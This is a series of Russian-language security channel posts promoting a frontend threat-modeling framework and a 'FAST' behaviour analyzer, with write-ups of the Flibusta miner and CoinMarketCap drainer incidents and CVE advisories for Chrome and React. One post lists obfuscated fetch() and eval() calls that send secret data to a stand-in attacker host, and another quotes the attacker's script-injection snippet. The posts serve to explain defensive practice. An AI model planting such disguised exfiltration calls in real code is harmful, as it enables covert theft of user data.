Всем привет!

Завтра (в пятницу, 27.06.2025) в 11:00 (МСК) принимаю участие в эфире AM Live. С коллегами будем говорить про безопасную разработку: культуру, регуляторику, моделирование угроз, технологии и инструменты: SAST, SCA, FAST, DAST, API Sec и т.д.

Трансляция бесплатная и будет доступна после регистрации

В понедельник ⏰ (30.06) опубликую онлайн-сервис для моделирования угроз для frontend-приложений, о котором рассказывал на PHDays.

Мы опубликовали сервис для моделирования угроз для frontend-приложений!

В основе - методология, о которой рассказывал в докладе на PHDays 2025. Для каждой угрозы указаны компенсирующие меры с оценкой эффективности. Также автоматически генерируется план обработки рисков (остаточных рисков).

Значительную часть угроз нейтрализует использование FAST-анализатора в SSDLC/DevSecOps. Не потому что мы его делаем 😀, а т.к. только использование frontend-песочницы для анализа поведения приложения при автоматизированном выполнении основных Use Case взаимодействий пользователя с приложением 🖥 может обнаружить вредоносное поведение js-кода 🦠, в том числе во внешних сервисах 📱:
1️⃣ до релиза;
2️⃣ сразу после релиза;
3️⃣ через длительное время после релиза.

Сервис и каталог угроз будет развиваться и дорабатываться. В ближайшее время сделаем визуализацию векторов/способов реализации/последствий (по принципу MITRE ATT&CK Matrix) 🔗

Вопросы/предложения можно направлять на [email protected]
@FrontSecOps

FAST-анализатор: обнаружение вредоносного поведения js-кода на примере реального инцидента

Специалисты компании F6 c помощью XDR обнаружили заражение майнером криптовалюты рабочей станции их заказчика. В результате расследования выяснилось, что zip-архив с майнером скачивался пользователем на сети сайтов онлайн-библиотеки Flibusta 📚. Скорее всего, сайты были взломаны, а для монетизации злоумышленники добавили вредоносный js-скрипт 📱

В видео показал, как FAST-анализатор обнаруживает вредоносные действия js-кода на примере реального скрипта злоумышленников.

Что делал скрипт?

🔹Похищал логин, пароль и cookie при выполнении аутентификации (классический js-сниффер).
🔹Динамически загружал в браузер необходимые злоумышленнику модули с CDN.
🔹Использовал сборку Python и MicroPip в виде WebAssembly для выполнения части вредоносных действий из js-кода.
🔹Записывал различные флаги в localStorage, indexedDB, маскируясь под GoogleAds.
🔹Проверял, что пользователь зашел с устройства Desktop.
🔹Вместо архива с книгой загружал архив с вредоносным исполняемым файлом (exe + dll), устанавливающим майнер в систему.

Посещаемость данных сайтов - около 10 млн человек в месяц, из них с Desktop - 1 млн.

Вредоносный скрипт был доступен с февраля 2025. На сайт был внедрен ориентировочно в марте 2025. Т.е. за 3 месяца присутствия архив с майнером мог быть загружен на 3 млн устройств.

Обратите внимание, что майнер был обнаружен с помощью XDR уже после заражения рабочей станции. Frontend-фишинг позволяет проникать даже в корпоративные сети ⚠️. А если вредоносный js-код будет доставлен в приложение через npm-зависимость ✈️, то возможно заразить устройства даже в корп. сетях без интернета. Вместо майнера мог быть шифровальщик 🤒 или другое вредоносное ПО.

По фреймворку моделирования угроз DPA Analytics:
🔹Вектор: T-3: Компрометация сервера приложения
🔹Способ реализации: T-29: Загрузка вредоносного файла; T-26: Кража учетных данных; T-41: Несанкционированный вызов WebAssembly, eval(); T-45: Выполнение действий при клике по кнопке и другие

Любой вредоносный js-код приводит к появлению значительного "шума" 🆘 в профиле поведения приложения. Мы записали видео, как FAST-анализатор без ложных срабатываний по множеству аномалий обнаружил вредоносные действия на примере реального скрипта из данного инцидента.

Смотрите видео в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps

CoinMarketCap: вредоносный код на фронтенде украл у пользователей 43 000$ за 1 день

Даже если вы не можете сказать про себя "я работаю в криптовалюте" 💸, наверняка вы знаете сервис CoinMarketCap (coinmarketcap.com).

20 июня 2025 (пятница) 20:57 GMT, конец рабочей недели, на главной странице CoinMarketCap стало появляться всплывающее окно , призывающее пользователей «верифицировать свои кошельки», чтобы «сохранить полный доступ» к платформе. Если пользователь соглашался и нажимал нужные кнопки, начинал работать дрейнер 🦠, производилось похищение криптовалюты.

Вредоносный код пришел через "дудл"

Дудл (тематическая картинка рядом с логотипом, приуроченная к различным событиям/праздникам 📆) загружался динамически через запрос к внутреннему API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5.

В какой-то момент API стало возвращать JSON со ссылкой на вредоносный скрипт 📱 на внешнем CDN ("lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json", который в свою очередь динамически добавлял на страницу еще один скрипт злоумышленника:

// Inject the malicious popup script
const script = document.createElement('script');
script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(script);

Этот скрипт показывал то самое всплывающее окно в стиле дизайна CoinMarketCap (frontend-фишинг 🤒). В процессе выполнения вредоносных действий также загружались дополнительные js-библиотеки с хоста blockassets[.]app.

Вектор атаки

Так как ссылка на инициирующий вредоносный скрипт возвращалась в ответе внутренней API функции, наиболее вероятно, что бэкенд был скомпрометирован 🤒 или вредонос был добавлен инсайдером 🪪 (сотрудники/подрядчики). CoinMarketCap признали факт инцидента, назвав его "уязвимостью, приводившей к непредвиденному всплывающему окну" 🙃, без раскрытия подробностей и заявили, что "теперь все безопасно и надежно".

Время присутствия: 1 день.
Похищенные средства у пользователей: > 43 000 💵

DPA Frontend Threat Modeling Framework:
🔹Вектор: T-3: Компрометация сервера приложения / T-21: Сотрудник умышленно разместил вредоносный js-код
🔹Способ реализации: T-43: Показ фишинговых форм привязки криптокошелька, T-45: Выполнение действий при клике по кнопке и другие, T-47: Вредоносный код выполняется только при определенных условиях/триггерах

@FrontSecOps

Фреймворк моделирования угроз для frontend-приложений

В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"

А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰

Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣

DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).

Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf

Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз

Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.

@FrontSecOps

Результаты исследования безопасности российских frontend-приложений

Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года.

Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной ❌

⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ

Средняя оценка безопасности по всем отраслям: 39 из 100 ❌

Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.

Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf

@FrontSecOps

Вебинар по FAST-анализатору 12 ноября в 11:00 МСК

12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.

На вебинаре обсудим:

🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?

🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?

🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?

🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.

🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.

🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?

❔ Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.

⏺Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него

Дата: 12 ноября (среда)
Время: 11:00 МСК

Может ли SAST обнаружить вредоносный код?

Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.

1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.

2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).

3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍

4️⃣ Попробует написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?

5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?

fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');
window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');
this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');
this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');
globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');
Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');

6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.

7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество.

8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.

eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");
await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');
setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);

9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).

1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁

Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.

Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️

Регистрация на вебинар

@FrontSecOps

Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️

Часть 1. Безопасность frontend-приложений

00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация 📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?

Часть 2. Демо FAST-анализатора

41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код 🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘
53:12 Интерфейс инвентаризации скриптов

Часть 3. FAST в DevSecOps

53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора 🛡
55:55 Требования регуляторов
56:58 Полезные ссылки

58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе

01:01:05 Ответы на вопросы

Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps

Седьмой zeroday в Chrome за 2025 год

CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥

Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣

Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.

Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно).

Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️

@FrontSecOps

⚠️⚠️⚠️ Критическая уязвимость в React Server Components и Next.js

Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере ♥️

CVE-2025-55182 / CVSS 10.0 ☄️
Эксплойт доступен 💣

Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов:
🔸 react-server-dom-webpack
🔸 react-server-dom-parcel
🔸 react-server-dom-turbopack

Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.

Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни.

Подробности:
🔸 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
🔸 https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

@FrontSecOps